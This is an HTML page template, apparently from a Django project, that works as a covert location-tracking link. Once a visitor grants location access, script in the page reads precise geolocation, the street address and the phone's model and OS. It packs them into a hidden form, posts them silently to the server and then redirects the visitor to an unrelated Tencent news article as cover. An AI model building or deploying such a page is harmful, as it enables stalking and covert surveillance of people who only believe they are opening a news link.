<!DOCTYPE html>
<html>
    <head>
        <script type="text/javascript" src="http://webapi.amap.com/maps?v=1.4.3&key=92543d3d4a3fb5972517d40ff029d51e"></script>
        <script type="text/javascript" src="https://cdn.bootcss.com/jquery/3.3.1/jquery.min.js"></script>
        <script type="text/javascript" src="https://cdn.bootcdn.net/ajax/libs/mobile-detect/1.4.5/mobile-detect.min.js"></script>
    </head>
    <body>
    <div id="iCenter"></div>
        <form method="get" action=""  id="send" style="display:none">
            {% csrf_token %}
            <input type="text" id="position" name="position" >
            <input type="text" id="accuracy" name="accuracy" >
            <input type="text" id="location" name="location" >
            <input type="text" id="info" name="info" >
            <input type="text" id="formattedAddress" name="formattedAddress" >
            <input type="text" id="address" name="address" >
            <button type="submit" value="Submit">提交</button>
        </form >
    <script type="text/javascript">
        var mapObj = new AMap.Map('iCenter');
        mapObj.plugin('AMap.Geolocation', function () {
            let geolocation = new AMap.Geolocation({
                enableHighAccuracy: true, // 是否使用高精度定位，默认:true
                timeout: 10000,           // 超过10秒后停止定位，默认：无穷大
                maximumAge: 0,            // 定位结果缓存0毫秒，默认：0
                convert: true,            // 自动偏移坐标，偏移后的坐标为高德坐标，默认：true
                showButton: true,         // 显示定位按钮，默认：true
                buttonPosition: 'LB',     // 定位按钮停靠位置，默认：'LB'，左下角
                buttonOffset: new AMap.Pixel(10, 20), // 定位按钮与设置的停靠位置的偏移量，默认：Pixel(10, 20)
                showMarker: true,         // 定位成功后在定位到的位置显示点标记，默认：true
                showCircle: true,         // 定位成功后用圆圈表示定位精度范围，默认：true
                panToLocation: true,      // 定位成功后将定位到的位置作为地图中心点，默认：true
                zoomToAccuracy:true,       // 定位成功后调整地图视野范围使定位位置及精度范围视野内可见，默认：false
            });
            mapObj.addControl(geolocation);
            geolocation.getCurrentPosition();
            AMap.event.addListener(geolocation, 'complete', onComplete); // 返回定位信息
            AMap.event.addListener(geolocation, 'error', onError);       // 返回定位出错信息

        });


        function onComplete(obj){
            {#var res = '经纬度：' + obj.position +#}
            {#    '\n精度范围：' + obj.accuracy +#}
            {#    '米\n定位结果的来源：' + obj.location_type +#}
            {#    '\n状态信息：' + obj.info +#}
            {#    '\n地址：' + obj.formattedAddress +#}
            {#    '\n地址信息：' + JSON.stringify(obj.addressComponent, null, 4);#}
            {#alert(res);#}
            {#alert(JSON.stringify(obj))#}
            document.getElementById("position").value=obj.position;
            document.getElementById("accuracy").value=obj.accuracy;

            document.getElementById("info").value=obj.info;
            document.getElementById("formattedAddress").value=obj.formattedAddress;
            document.getElementById("address").value=JSON.stringify(obj.addressComponent, null, 4);

            //判断数组中是否包含某字符串
              Array.prototype.contains = function(needle) {
                for (i in this) {
                  if (this[i].indexOf(needle) > 0)
                    return i;
                }
                return -1;
              }

              var device_type = navigator.userAgent;//获取userAgent信息
              document.write(device_type);//打印到页面
              var md = new MobileDetect(device_type);//初始化mobile-detect
              var os = md.os();//获取系统
              var model = "";
              if (os == "iOS") {//ios系统的处理
                os = md.os() + md.version("iPhone");
                model = md.mobile();
              } else if (os == "AndroidOS") {//Android系统的处理
                os = md.os() + md.version("Android");
                var sss = device_type.split(";");
                var i = sss.contains("Build/");
                if (i > -1) {
                  model = sss[i].substring(0, sss[i].indexOf("Build/"));
                }
              }
              document.getElementById("location").value=os + "---" + model;





            function add_competion_goods() {
                                             $.ajax({
                                               url: "",
                                               type: "POST",
                                               dataType: "json",
                                               data: $('#send').serialize(),//直接将from表单打包
                                               success: function () {
                                                 console.log('OK')
                                               }
                                             })
                                           }
                                           add_competion_goods();
                                          top.location='https://xw.qq.com/partner/sxs/20210405A09LVG/20210405A09LVG00?ADTAG=sxs&pgv_ref=sxs';


            {#setTimeout(location.href="../../show.html",50000);#}
            {#alert(res);#}
        }





        function onError(obj) {
            {#alert(obj.info + '--' + obj.message);#}
            console.log(obj);
        }

</script>
    </body>
</html>
